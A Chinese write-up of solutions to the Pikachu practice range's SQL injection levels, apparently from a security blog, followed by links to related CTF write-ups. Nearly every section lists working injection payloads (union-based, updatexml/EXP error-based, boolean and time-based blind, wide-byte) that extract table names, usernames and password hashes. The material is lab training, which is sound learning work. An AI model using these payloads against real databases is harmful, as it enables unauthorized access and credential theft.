Pikachu靶场SQL注入刷题记录
数字型注入
0x01
burp抓包,发送至repeater
后面加and 1=1,and 1=2 可判断存在注入
0x02
通过order by判断字段数,order by 2 和order by 3 返回结果不同,可得字段数为2
0x03
查看表名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
0x04
查询users表中的数据:
union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'
0x05
查询数据:
union select 1,username from users
union select 1,password from users
字符型注入
0x01
加单引号报错,'--+ 返回正常,可判断存在字符型注入
0x02
通过上题可知有两个字段
查询表名:
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
0x03
查询users表中的数据:
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
0x04
查询数据:
' union select 1,username from users--+
' union select 1,password from users--+
搜索型注入
0x01
单引号报错,判断字段
' order by 3#时正常,' order by 4#时不正常
0x02
已经知道含有users表,直接查列名
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#
0x03
查password数据
' union select 1,2,password from users#
XX型注入
0x01
输入单引号,得到报错信息
可以看到有个)符号,那么sql语句中前面一定有个(符号,所以要将前面闭合,后面注释掉
0x02
输入')#,抓包repeater放包
0x03
判断字段
%27)+order+by+2%23,回显正常
%27)+order+by+3%23,回显不正常,字段数为2
0x04
已知users表,查列名
%27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'%23
0x05
查密码
%27)+union+select+1,password+from+users%23
insert/update注入
0x01
点击注册,用户名密码输入如下
提交返回
根据报错可推断前面sql语句大概是这样value('xxx',1,2,3,4,5)
0x02
使用updatexml()进行报错注入
' or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or '
Updatexml只能注出32位字符,缺少一位字符,所以改用其他函数
经测试extractvalue()函数也是一样,再换其他函数
0x03
使用EXP函数时成功注出md5
' or EXP(~(SELECT * from(select @@version)a)) or '
' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '
' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '
Delete注入
0x01
单引号报错
0x02
这种id的值一般都是数字型注入
+or+EXP(~(SELECT+*+from(select+@@version)a))
最终payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))
HTTP Header注入
0x01
提示给了账号密码
登录进去
0x02
刷新,抓包
可以看到Cookie中含有ant[uname]=admin,怀疑此处可能存在与数据库交互,因此加单引号进行验证
发现报错,因此,使用报错注入语句
0x03
'+or+EXP(~(SELECT+*+from(select+@@version)a))+or+'
' or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or '
' or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
' or EXP(~(SELECT * from(select password from users limit 0,1)a)) or '
盲注(boolian)
0x01
首先要知道一个用户名(真实环境可自己注册一个)
lili' and 1=1#
lili' and 1=2#
可判断存在注入
0x02
paylaod:lili' and substr(database(),1,1)='字母'#
对数字进行爆破
第一个字母为p
再对第二位进行爆破
lili' and substr(database(),2,1)='字母'#
第二个字母为i
按此方式一位一位进行爆破,可得数据库名为pikachu
盲注(time)
0x01
首先要知道一个用户名(真实环境可自己注册一个)
lili' and sleep(10)#
10s左右才响应,可判断存在时间盲注(或者F12看响应时间)
0x02
爆破数据库名
lili' and if(substr(database(),1,1)='字母',sleep(5),1)#
对字母进行爆破,爆破第一个字母
爆破后将Columns--Response received选中,可看到响应时间
第一个字母为p
爆破第二个字母
lili' and if(substr(database(),2,1)='字母',sleep(5),1)#
得到第二个为i
以此类推,得出数据库名为pikachu
宽字节注入
0x01
抓包在burp中操作
1%df%27+or+1=1#
0x02
判断字段数
1%df%27+union+select+1,2#
1%df%27+union+select+1,2,3#
字段数为2
0x03
查表名
1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#
0x04
查列名
1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#
(0x7573657273为users的16进制编码)
0x05
查数据
1%df%27+union+select+1,password+from+users#
更多技术文章请关注Timeline Sec公众号
Pikachu靶场SQL注入刷题记录的更多相关文章
- 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...
- 刷题记录:[De1CTF 2019]Giftbox && Comment
目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...
- 刷题记录:[De1ctf] shell shell shell
目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...
- 刷题记录:[FBCTF2019]Products Manager
目录 刷题记录:[FBCTF2019]Products Manager 一.知识点 1.基于约束的SQL注入攻击 刷题记录:[FBCTF2019]Products Manager 题目复现链接:htt ...
- 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb
目录 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb 一.涉及知识点 1.敏感文件泄露 2.绕过及sql注入 3.文件上传:短标签绕过php过滤 刷题记录:[CISCN20 ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
- 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...
- 刷题记录:[LCTF]bestphp's revenge
目录 刷题记录:[LCTF]bestphp's revenge 一.知识点 1.SoapClient触发反序列化导致ssrf 2.serialize_hander处理session方式不同导致sess ...
- 刷题记录:Shrine
目录 刷题记录:Shrine 刷题记录:Shrine 题目复现链接:https://buuoj.cn/challenges 参考链接:Shrine 解此题总结一下flask的SSTI:CTF SSTI ...
随机推荐
- Rocket - jtag - JtagShifter
https://mp.weixin.qq.com/s/pHtrlmSCPqzlDdfj3qkNPQ 简单介绍JtagShifter的实现. 1. 简单介绍 实现移位寄存器链,包含并行Capture和U ...
- Rocket - diplomacy - LazyModuleImpLike
https://mp.weixin.qq.com/s/gDbUto1qd7uWbpnxovr5pg 介绍LazyModuleImpLike类的实现. 1. wrapper LazyMo ...
- 文件包含漏洞(file inclusion)
文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...
- Java实现 蓝桥杯VIP 算法训练 数位分离
** 算法训练 数位分离** 问题描述 编写一个程序,输入一个1000 以内的正整数,然后把这个整数的每一位数字都分离出来,并逐一地显示. 输入格式:输入只有一行,即一个1000以内的正整数. 输出格 ...
- Java实现 蓝桥杯VIP 算法训练 字符串编辑
算法训练 字符串编辑 时间限制:1.0s 内存限制:512.0MB 问题描述 从键盘输入一个字符串(长度<=40个字符),并以字符 '.' 结束.编辑功能有: 1 D:删除一个字符,命令的方式为 ...
- java实现第四届蓝桥杯快速排序
快速排序 题目描述 快速排序算法是典型的分治思想的运用.它使用某个key把全部元素分成两组,其中一组的元素不大于另一组.然后对这两组再次进行递归排序. 以下代码实现了快速排序.请仔细阅读代码,填写缺少 ...
- python—面向对象设计
一:三大编程范式 1.面向过程编程 2.函数式编程 3.面向对象编程 (类:把一类事物的相同的特征和动作整合到一起就是类,类是一个抽象的概念) (对象:就是基于类而创建的一个具体的事物 [具体存在的] ...
- WinUI 3试玩报告
1. 什么是 WinUI 3 在微软 Build 2020 开发者大会上,WinUI 团队宣布可公开预览的 WinUI 3 Preview 1,它让开发人员可以在 Win32 中使用 WinUI.Wi ...
- windows server2012在已有.net4.5框架的基础上安装.net3.5的方法
我们在一台服务器运行各种程序的时候难免会用到一些好用的但是很老的软件.老软件也就难免需要以前的那种环境来运行,但是老的环境与新的环境往往不兼容.下面我就来讲一讲系统在已有.net4.5的情况下怎么安装 ...
- Python--字典(三级菜单)
# -*- coding:utf-8 -*- data = { "腾讯":{ "LOL":{ "上单":["诺手",&q ...